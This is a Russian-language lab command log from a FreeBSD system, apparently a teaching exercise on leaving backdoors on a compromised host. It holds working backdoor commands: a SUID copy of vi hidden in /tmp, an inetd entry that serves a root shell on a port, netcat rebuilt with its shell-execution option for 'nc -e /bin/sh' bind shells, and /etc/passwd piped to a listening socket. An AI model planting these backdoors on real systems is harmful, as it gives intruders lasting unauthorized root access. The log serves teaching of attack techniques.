Журнал лабораторных работ

Содержание

Журнал

Среда (12/20/06)

/dev/ttyp2
10:20:28
#/etc/rc.d/inetd restart

10:20:32
#vi /etc/rc.conf
10:20:43
#/etc/rc.d/inetd restart
inetd not running? (check /var/run/inetd.pid).
Starting inetd.
10:20:45
#vi /etc/rc.conf
10:22:33
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
10:22:34
#vi /etc/inetd.conf
10:23:15
#sockstat -4
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      33804 4  tcp4   *:79                  *:*
root     sshd       27455 3  tcp4   192.168.15.21:22      192.168.15.254:34207
www      httpd      50405 16 tcp4   *:80                  *:*
www      httpd      50404 16 tcp4   *:80                  *:*
www      httpd      50375 16 tcp4   *:80                  *:*
root     Xorg       47508 3  tcp4   *:6000                *:*
www      httpd      39266 16 tcp4   *:80                  *:*
root     syslog-ng  536   6  udp4   *:514                 *:*
root     syslog-ng  536   8  udp4   192.168.15.21:52980   192.168.15.22:514
www      httpd      527   16 tcp4   *:80                  *:*
www      httpd      526   16 tcp4   *:80                  *:*
www      httpd      525   16 tcp4   *:80                  *:*
www      httpd      524   16 tcp4   *:80                  *:*
www      httpd      523   16 tcp4   *:80                  *:*
mysql    mysqld     522   3  tcp4   *:3306                *:*
root     httpd      464   16 tcp4   *:80                  *:*
root     sendmail   431   3  tcp4   127.0.0.1:25          *:*
root     sshd       425   4  tcp4   *:22                  *:*
10:23:17
#vi /etc/inetd.conf

Metody ostavleniya lazeek

/dev/ttyp2
11:07:13
#cp /usr/bin/vi.orig /tmp/.vi

11:07:30
#chmod +s /tmp/.vi

11:07:33
#ls -l /tmp/.vi
-r-sr-sr-x  1 root  wheel  281372 Dec 20 11:07 /tmp/.vi
Dat' programme bit SET-UID
11:07:53
#ls -l /dev/ad1
crw-r-----  1 root  operator    0,  74 Dec 20 09:24 /dev/ad1
11:08:15
#mknod
usage: mknod name [b | c] major minor [owner:group]
11:08:19
#mknod /mnt/ad1

Sozdat' file-ustroistvo s pravami dostupa na chtenie/zapis'
11:08:54
#ls -l /dev/ad1
crw-r-----  1 root  operator    0,  74 Dec 20 09:24 /dev/ad1
11:09:00
#sysctl vfs.usermount
vfs.usermount: 0
esli vfs.usermount = 1, to ustroistvo mozhno i smontirovat'
11:09:42
#cd /usr/ports/

11:10:10
#make search name=tools
Maint:  dom@happygiraffe.net
B-deps:
R-deps:
WWW:    http://pobox.com/~djb/daemontools.html
Port:   dvd+rw-tools-5.21.4.10.8
Path:   /usr/ports/sysutils/dvd+rw-tools
Info:   DVD burning software
Maint:  chuck@pkix.net
B-deps: gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1
R-deps: cdrtools-2.01_1
...
B-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 gettext-0.14.5 glib-1.2.10_11 gtk-1.2.10_13 libiconv-1.9.2_1 perl-5.8.7 pkgconfig-0.17.2 xorg-libraries-6.8.2
R-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 gettext-0.14.5 glib-1.2.10_11 gtk-1.2.10_13 libiconv-1.9.2_1 mtools-3.9.8_4 perl-5.8.7 pkgconfig-0.17.2 xorg-libraries-6.8.2
WWW:    http://www.core-coutainville.org/MToolsFM/
Port:   boxtools-0.70.0
Path:   /usr/ports/x11-wm/boxtools
Info:   Style tools for the blackbox family of window managers
Maint:  A.J.Caines@halplant.com
B-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 libiconv-1.9.2_1 pkgconfig-0.17.2 xorg-libraries-6.8.2
R-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 libiconv-1.9.2_1 pkgconfig-0.17.2 xorg-libraries-6.8.2
WWW:    http://blackboxwm.sourceforge.net/
11:10:28
#make search name=tools | grep -i fs
B-deps: afsp-8.1 gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1
R-deps: ORBit2-2.12.2 anjuta-1.2.2_4 aspell-0.60.3 at-spi-1.6.4 atk-1.9.1 bitstream-vera-1.10_1 conglomerate-0.9.1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gconfmm-2.10.0 gettext-0.14.5 ghex-2.8.1_2 glade2-2.10.0_1 glib-2.6.6 glibmm-2.6.1 gnome-icon-theme-2.10.1_1 gno
B-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gmake-3.80_2 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gnutls-1.0.24_1 gtk-2.6.9 gtk-engines2-2.6.4 gt
R-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gnutls-1.0.24_1 gtk-2.6.9 gtk-engines2-2.6.4 gtk-sharp-1.0.1
Info:   Command-line utilities for reading Veritas Filesystem (VxFS)
B-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gmake-3.80_2 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gtk-2.6.9 hicolor-icon-theme-0.5 intltool-0.34.1 jpeg-6b_3
R-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gtk-2.6.9 hicolor-icon-theme-0.5 intltool-0.34.1 jpeg-6b_3 libIDL-0.8.6
WWW:    http://unimut.fsk.uni-heidelberg.de/demi/photosmart/
WWW:    http://www.geocities.co.jp/SiliconValley/3657/mkisofs_patch/
B-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 desktop-file-utils-0.10_2 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gmake-3.80_2 gnome-icon-theme-2.10.1_1 gnome-menus-2.10.2_1 gnomedesktop-2.10.2 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnom
R-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 desktop-file-utils-0.10_2 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gnome-icon-theme-2.10.1_1 gnome-menus-2.10.2_1 gnomedesktop-2.10.2 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4
Port:   zisofs-tools-1.0.6
Path:   /usr/ports/sysutils/zisofs-tools
Info:   User utilities for zisofs
R-deps: ORBit2-2.12.2 apache-2.0.54_4 aspell-0.60.3 atk-1.9.1 bitstream-vera-1.10_1 bpm-0.4.1b_5 cjk-cdrtools-2.01.20041227_1 cog-0.8.0_2 db41-4.1.25_3 desktop-file-utils-0.10_2 djbfft-0.76_2 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 eiciel-0.7 epiphany-1.6.4 epiphany-extensions-1.6.4 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8
11:10:36
#make search name=tools | grep -i fs | grep ^Info
Info:   Command-line utilities for reading Veritas Filesystem (VxFS)
Info:   User utilities for zisofs
11:10:50
#vi /etc/inetd.conf
88a89
> uucpd	stream	tcp	nowait	root	/bin/sh sh -i
11:12:46
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
Otkryt' sebe kakoi-nibud' port cherez inetd
11:13:06
#cd /usr/ports/

11:13:12
#make search name=netcat
Port:   gnetcat-0.7.1_1
Path:   /usr/ports/net/gnetcat
Info:   GPL'ed re-write of the well known networking tool netcat
Maint:  liamfoy@sepulcrum.org
B-deps: gettext-0.14.5 libiconv-1.9.2_1
R-deps: gettext-0.14.5 libiconv-1.9.2_1
WWW:    http://netcat.sourceforge.net/
Port:   netcat-1.10_2
Path:   /usr/ports/net/netcat
Info:   Simple utility which reads and writes data across network connections
Maint:  sumikawa@FreeBSD.org
B-deps:
R-deps:
WWW:
/dev/ttyp4
11:13:17
#pkg_add -r aide
^D
^CSignal 2 received, cleaning up..
/dev/ttyp2
11:13:18
#make search name=nc
Path:   /usr/ports/games/xchadance
Info:   Display a dancing girl "ChaCha."
Maint:  motoyuki@FreeBSD.org
B-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 pkgconfig-0.17.2 xorg-libraries-6.8.2
R-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 pkgconfig-0.17.2 xorg-libraries-6.8.2
WWW:
Port:   evince-0.3.0
Path:   /usr/ports/graphics/evince
Info:   GNOME 2 multi-format document viewer
Maint:  gnome@FreeBSD.org
...
Maint:  sergei@FreeBSD.org
B-deps: perl-5.8.7
R-deps: perl-5.8.7
WWW:    http://hacks.dlux.hu/maildirsync/
Port:   mailsync-5.2.1
Path:   /usr/ports/mail/mailsync
Info:   Mailsync is a way of keeping a collection of mailboxes synchronized
Maint:  ports@FreeBSD.org
B-deps: cclient-2004g,1 gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1
R-deps: cclient-2004g,1
11:13:36
#make search name=ncat

11:13:39
#make search keytt
Port:   munger-4.60
Path:   /usr/ports/lang/munger
Info:   Static lisp interpreter with text processing abilities
Maint:  jimmy@jamesbailie.com
B-deps:
R-deps: netcat-1.10_2
WWW:    http://www.jamesbailie.com/munger.html
Port:   cryptcat-2.0
Path:   /usr/ports/net/cryptcat
Info:   Standard netcat enhanced with twofish encryption
...
B-deps:
R-deps:
WWW:    http://www.inetcat.org/software/nbtscan.html
Port:   sst-1.0
Path:   /usr/ports/security/sst
Info:   A simple SSL tunneling tool (uses netcat)
Maint:  mi@aldan.algebra.com
B-deps:
R-deps: netcat-1.10_2
WWW:    http://utcc.utoronto.ca/~pkern/stuff/sst/
11:13:45
#cd net/netcat/

11:14:12
#ls
Makefile        distinfo        files           pkg-descr
11:14:13
#vi Makefile
11:14:56
#make
               x x                                                                x x
               tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu
               x                       [  OK  ]       Cancel                        x
               mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
                                          OK         [Cancel]
===> Options unchanged
===>  Vulnerability check disabled, database not found
=> nc110.tgz doesn't seem to exist in /usr/ports/distfiles/.
=> Attempting to fetch from ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/.
^C^C
11:15:10
#vi Makefile
11:15:17
#make config
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
                          [X] IPV6    enable IPv6 support
               x x        [X] TELNET  enable TELNET support                       x x
                          [ ] GAPING  enable GAPING_SECURITY_HOLE support
               x x                                                                x x
               tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu
               x                       [  OK  ]       Cancel                        x
               mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
11:15:23
#make install
===>  Vulnerability check disabled, database not found
===>  Found saved configuration for netcat-1.10_2
=> nc110.tgz doesn't seem to exist in /usr/ports/distfiles/.
=> Attempting to fetch from ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/.
fetch: ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/nc110.tgz: size unknown
fetch: ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/nc110.tgz: size of remote file is not known
nc110.tgz                                               73 kB   65 kBps
=> nc-v6-20000918.patch.gz doesn't seem to exist in /usr/ports/distfiles/.
=> Attempting to fetch from ftp://sith.mimuw.edu.pl/pub/users/baggins/IPv6/.
nc-v6-20000918.patch.gz                       100% of 8740  B   32 kBps
...
make -e nc  XFLAGS='-DFREEBSD -DIPV6 -DTELNET' STATIC=-static
cc -s -O2 -fno-strict-aliasing -pipe    -DFREEBSD -DIPV6 -DTELNET -static -o nc netcat.c
===>  Installing for netcat-1.10_2
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
install  -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin
install  -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1
install  -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat
===>   Compressing manual pages for netcat-1.10_2
===>   Registering installation for netcat-1.10_2
11:15:44
#nc -e /bin/sh -l -p 3000
usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port]
          [-s source_ip_address] [-w timeout] [-X proxy_version]
          [-x proxy_address[:port]] [hostname] [port[s]]
11:15:50
#man nc
11:16:47
#cat /etc/passwd |
usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port]
          [-s source_ip_address] [-w timeout] [-X proxy_version]
          [-x proxy_address[:port]] [hostname] [port[s]]
11:17:06
#cat /etc/passwd | nc -l 3000

11:17:36
#ls
Makefile        distinfo        files           pkg-descr       work
11:17:49
#vi Makefile
11:18:10
#make deinstall
===>  Deinstalling for net/netcat
===>   Deinstalling netcat-1.10_2
11:18:16
#make config
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
                          [X] IPV6    enable IPv6 support
               x x        [X] TELNET  enable TELNET support                       x x
                          [X] GAPING  enable GAPING_SECURITY_HOLE support
               x x                                                                x x
               tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu
               x                       [  OK  ]       Cancel                        x
               mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
11:18:23
#make install
===>  Installing for netcat-1.10_2
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
install  -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin
install  -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1
install  -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat
===>   Compressing manual pages for netcat-1.10_2
===>   Registering installation for netcat-1.10_2
11:18:27
#make clean
===>  Cleaning for netcat-1.10_2
11:18:30
#make
===>  Vulnerability check disabled, database not found
===>  Found saved configuration for netcat-1.10_2
===>  Extracting for netcat-1.10_2
=> Checksum OK for nc110.tgz.
=> Checksum OK for nc-v6-20000918.patch.gz.
===>  Patching for netcat-1.10_2
===>  Applying distribution patches for netcat-1.10_2
===>  Applying FreeBSD patches for netcat-1.10_2
===>  Configuring for netcat-1.10_2
===>  Building for netcat-1.10_2
make -e nc  XFLAGS='-DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE' STATIC=-static
cc -s -O2 -fno-strict-aliasing -pipe    -DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE -static -o nc netcat.c
11:18:35
#make install
===>  Installing for netcat-1.10_2
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
===>   netcat-1.10_2 is already installed
      You may wish to ``make deinstall'' and install this port again
      by ``make reinstall'' to upgrade it properly.
      If you really wish to overwrite the old port of net/netcat
      without deleting it first, set the variable "FORCE_PKG_REGISTER"
      in your environment or the "make install" command line.
*** Error code 1
Stop in /usr/ports/net/netcat.
11:18:40
#make destall
===>  Deinstalling for net/netcat
===>   Deinstalling netcat-1.10_2
11:18:43
#make install
===>  Installing for netcat-1.10_2
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
install  -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin
install  -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1
install  -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat
===>   Compressing manual pages for netcat-1.10_2
===>   Registering installation for netcat-1.10_2
11:18:46
#nc
usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port]
          [-s source_ip_address] [-w timeout] [-X proxy_version]
          [-x proxy_address[:port]] [hostname] [port[s]]
11:18:48
#nc -e /bin/sh -l 3000
libipsec: syntax error while parsing "/"
nc: ipsec_set_policy `/bin/sh': Invalid argument
11:18:58
#ls
Makefile        distinfo        files           pkg-descr       work
11:19:05
#cd work/

11:19:09
#ls
.PLIST.flattened                                Makefile
.PLIST.mktmp                                    Makefile.orig
.PLIST.objdump                                  README
.PLIST.setuid                                   data
.PLIST.writable                                 generic.h
.build_done.netcat-1.10_2._usr_local            nc
.configure_done.netcat-1.10_2._usr_local        netcat.blurb
.extract_done.netcat-1.10_2._usr_local          netcat.c
.install_done.netcat-1.10_2._usr_local          netcat.c.orig
.patch_done.netcat-1.10_2._usr_local            scripts
Changelog                                       stupidh
11:19:09
#less README
11:20:25
#nc -e /bin/sh -l 3000
libipsec: syntax error while parsing "/"
nc: ipsec_set_policy `/bin/sh': Invalid argument
11:20:29
#nc -e sh -l 3000
libipsec: syntax error while parsing "sh"
nc: ipsec_set_policy `sh': Invalid argument
11:20:33
#man netcat
11:20:37
#man nc
11:20:57
#ls
.PLIST.flattened                                Makefile
.PLIST.mktmp                                    Makefile.orig
.PLIST.objdump                                  README
.PLIST.setuid                                   data
.PLIST.writable                                 generic.h
.build_done.netcat-1.10_2._usr_local            nc
.configure_done.netcat-1.10_2._usr_local        netcat.blurb
.extract_done.netcat-1.10_2._usr_local          netcat.c
.install_done.netcat-1.10_2._usr_local          netcat.c.orig
.patch_done.netcat-1.10_2._usr_local            scripts
Changelog                                       stupidh
11:21:06
#less Changelog
11:21:24
#ls -l
total 688
-rw-r--r--  1 root  wheel      81 Dec 20 11:18 .PLIST.flattened
-rw-r--r--  1 root  wheel     123 Dec 20 11:18 .PLIST.mktmp
-rw-r--r--  1 root  wheel      56 Dec 20 11:18 .PLIST.objdump
-rw-r--r--  1 root  wheel       0 Dec 20 11:18 .PLIST.setuid
-rw-r--r--  1 root  wheel       0 Dec 20 11:18 .PLIST.writable
-rw-r--r--  1 root  wheel       0 Dec 20 11:18 .build_done.netcat-1.10_2._usr_local
-rw-r--r--  1 root  wheel       0 Dec 20 11:18 .configure_done.netcat-1.10_2._usr_local
-rw-r--r--  1 root  wheel       0 Dec 20 11:18 .extract_done.netcat-1.10_2._usr_local
-rw-r--r--  1 root  wheel       0 Dec 20 11:18 .install_done.netcat-1.10_2._usr_local
...
-rw-r--r--  1 root  wheel    3805 Mar 20  1996 Makefile.orig
-rw-r--r--  1 root  wheel   60834 Mar 20  1996 README
drwxr-xr-x  2 root  wheel     512 Dec 20 11:18 data
-rw-r--r--  1 root  wheel   11629 Feb 18  1996 generic.h
-rwxr-xr-x  1 root  wheel  430788 Dec 20 11:18 nc
-rw-r--r--  1 root  wheel    2645 Mar 20  1996 netcat.blurb
-rw-r--r--  1 root  wheel   75373 Dec 20 11:18 netcat.c
-rw-r--r--  1 root  wheel   58553 Mar 21  1996 netcat.c.orig
drwxr-xr-x  2 root  wheel     512 Dec 20 11:18 scripts
-rwxr-xr-x  1 root  wheel    8549 Nov  7  1995 stupidh
11:21:25
#less netcat.c.orig
11:21:55
#less netcat.c
11:22:55
#cd ..

11:22:59
#make clean
===>  Cleaning for netcat-1.10_2
11:23:01
#make deinstall
===>  Deinstalling for net/netcat
===>   Deinstalling netcat-1.10_2
11:23:04
#ls
Makefile        distinfo        files           pkg-descr
11:23:05
#vi Makefile
11:23:12
#make config
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
                           X
               x x                                                                x x
               x x                                                                x x
               tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu
               x                       [  OK  ]       Cancel                        x
               mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
11:23:18
#make install
===>  Vulnerability check disabled, database not found
===>  Found saved configuration for netcat-1.10_2
===>  Extracting for netcat-1.10_2
=> Checksum OK for nc110.tgz.
=> Checksum OK for nc-v6-20000918.patch.gz.
===>  Patching for netcat-1.10_2
===>  Applying distribution patches for netcat-1.10_2
===>  Applying FreeBSD patches for netcat-1.10_2
===>  Configuring for netcat-1.10_2
===>  Building for netcat-1.10_2
make -e nc  XFLAGS='-DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE' STATIC=-static
cc -s -O2 -fno-strict-aliasing -pipe    -DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE -static -o nc netcat.c
===>  Installing for netcat-1.10_2
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
install  -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin
install  -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1
install  -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat
===>   Compressing manual pages for netcat-1.10_2
===>   Registering installation for netcat-1.10_2
11:23:26
#nc -e /bin/sh
usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port]
          [-s source_ip_address] [-w timeout] [-X proxy_version]
          [-x proxy_address[:port]] [hostname] [port[s]]
11:23:32
#nc -e /bin/sh -l 3000
libipsec: syntax error while parsing "/"
nc: ipsec_set_policy `/bin/sh': Invalid argument
11:23:42
#nc -e bin/sh -l 3000
libipsec: syntax error while parsing "bin"
nc: ipsec_set_policy `bin/sh': Invalid argument
11:23:47
#nc -e /in/sh -l 3000
libipsec: syntax error while parsing "/"
nc: ipsec_set_policy `/bin/sh': Invalid argument
11:23:49
#ls
Makefile        distinfo        files           pkg-descr       work
11:23:51
#cd work/

11:23:53
#ls
.PLIST.flattened                                Makefile
.PLIST.mktmp                                    Makefile.orig
.PLIST.objdump                                  README
.PLIST.setuid                                   data
.PLIST.writable                                 generic.h
.build_done.netcat-1.10_2._usr_local            nc
.configure_done.netcat-1.10_2._usr_local        netcat.blurb
.extract_done.netcat-1.10_2._usr_local          netcat.c
.install_done.netcat-1.10_2._usr_local          netcat.c.orig
.patch_done.netcat-1.10_2._usr_local            scripts
Changelog                                       stupidh
11:23:53
#less README
11:24:31
#ls
.PLIST.flattened                                Makefile
.PLIST.mktmp                                    Makefile.orig
.PLIST.objdump                                  README
.PLIST.setuid                                   data
.PLIST.writable                                 generic.h
.build_done.netcat-1.10_2._usr_local            nc
.configure_done.netcat-1.10_2._usr_local        netcat.blurb
.extract_done.netcat-1.10_2._usr_local          netcat.c
.install_done.netcat-1.10_2._usr_local          netcat.c.orig
.patch_done.netcat-1.10_2._usr_local            scripts
Changelog                                       stupidh
11:24:33
#less netcat.c
11:25:38
#less netcat.c
11:25:47
#ls
.PLIST.flattened                                Makefile
.PLIST.mktmp                                    Makefile.orig
.PLIST.objdump                                  README
.PLIST.setuid                                   data
.PLIST.writable                                 generic.h
.build_done.netcat-1.10_2._usr_local            nc
.configure_done.netcat-1.10_2._usr_local        netcat.blurb
.extract_done.netcat-1.10_2._usr_local          netcat.c
.install_done.netcat-1.10_2._usr_local          netcat.c.orig
.patch_done.netcat-1.10_2._usr_local            scripts
Changelog                                       stupidh
11:25:47
#cd ..

11:25:56
#ls
Makefile        distinfo        files           pkg-descr       work
11:25:56
#make clean
===>  Cleaning for netcat-1.10_2
11:26:00
#vi Makefile
11:26:06
#make config
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x                                                                x x
               x x         X                                                      x x
               x x                                                                x x
               tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu
               x                       [  OK  ]       Cancel                        x
               mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
11:26:14
#make install
===>  Vulnerability check disabled, database not found
===>  Found saved configuration for netcat-1.10_2
===>  Extracting for netcat-1.10_2
=> Checksum OK for nc110.tgz.
=> Checksum OK for nc-v6-20000918.patch.gz.
===>  Patching for netcat-1.10_2
===>  Applying distribution patches for netcat-1.10_2
===>  Applying FreeBSD patches for netcat-1.10_2
===>  Configuring for netcat-1.10_2
===>  Building for netcat-1.10_2
...
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
===>   netcat-1.10_2 is already installed
      You may wish to ``make deinstall'' and install this port again
      by ``make reinstall'' to upgrade it properly.
      If you really wish to overwrite the old port of net/netcat
      without deleting it first, set the variable "FORCE_PKG_REGISTER"
      in your environment or the "make install" command line.
*** Error code 1
Stop in /usr/ports/net/netcat.
11:26:20
#make deinstall && make install
===>  Deinstalling for net/netcat
===>   Deinstalling netcat-1.10_2
===>  Installing for netcat-1.10_2
===>   Generating temporary packing list
===>  Checking if net/netcat already installed
install  -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin
install  -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1
install  -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat
===>   Compressing manual pages for netcat-1.10_2
===>   Registering installation for netcat-1.10_2
11:26:28
#nc -e /bin/sh -l 3000
libipsec: syntax error while parsing "/"
nc: ipsec_set_policy `/bin/sh': Invalid argument
11:26:34
#man nc
11:27:27
#cd work/

11:27:28
#grep -i ipsec *

11:27:32
#grep -i ipsec
.PLIST.flattened                          Makefile
.PLIST.mktmp                              Makefile.orig
.PLIST.objdump                            README
.PLIST.setuid                             data/
.PLIST.writable                           generic.h
.build_done.netcat-1.10_2._usr_local      nc
.configure_done.netcat-1.10_2._usr_local  netcat.blurb
.extract_done.netcat-1.10_2._usr_local    netcat.c
.install_done.netcat-1.10_2._usr_local    netcat.c.orig
.patch_done.netcat-1.10_2._usr_local      scripts/
Changelog                                 stupidh
11:27:32
#grep -ri ipsec .

Файлы

  • lazeek
  • lazeek
    >
    exit
    Metody daleko ne vse!!!!
    Rassmotreny samye prostye!!!
    

    Статистика

    Время первой команды журнала10:20:28 2006-12-20
    Время последней команды журнала11:27:32 2006-12-20
    Количество командных строк в журнале97
    Процент команд с ненулевым кодом завершения, %19.59
    Процент синтаксически неверно набранных команд, % 0.00
    Суммарное время работы с терминалом *, час 0.40
    Количество командных строк в единицу времени, команда/мин 4.08
    Частота использования команд
    make26|========================| 24.53%
    ls15|==============| 14.15%
    nc11|==========| 10.38%
    vi10|=========| 9.43%
    cd8|=======| 7.55%
    less7|======| 6.60%
    grep5|====| 4.72%
    man4|===| 3.77%
    /etc/rc.d/inetd4|===| 3.77%
    #^4|===| 3.77%
    cat3|==| 2.83%
    mknod2|=| 1.89%
    &1|| 0.94%
    sockstat1|| 0.94%
    sysctl1|| 0.94%
    null1|| 0.94%
    chmod1|| 0.94%
    cp1|| 0.94%
    pkg_add1|| 0.94%
    ____
    *) Интервалы неактивности длительностью 30 минут и более не учитываются

    Справка

    Для того чтобы использовать LiLaLo, не нужно знать ничего особенного: всё происходит само собой. Однако, чтобы ведение и последующее использование журналов было как можно более эффективным, желательно иметь в виду следующее:
    1. В журнал автоматически попадают все команды, данные в любом терминале системы.

    2. Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.

    3. Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
      $ l s-l
      bash: l: command not found
      

    4. Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
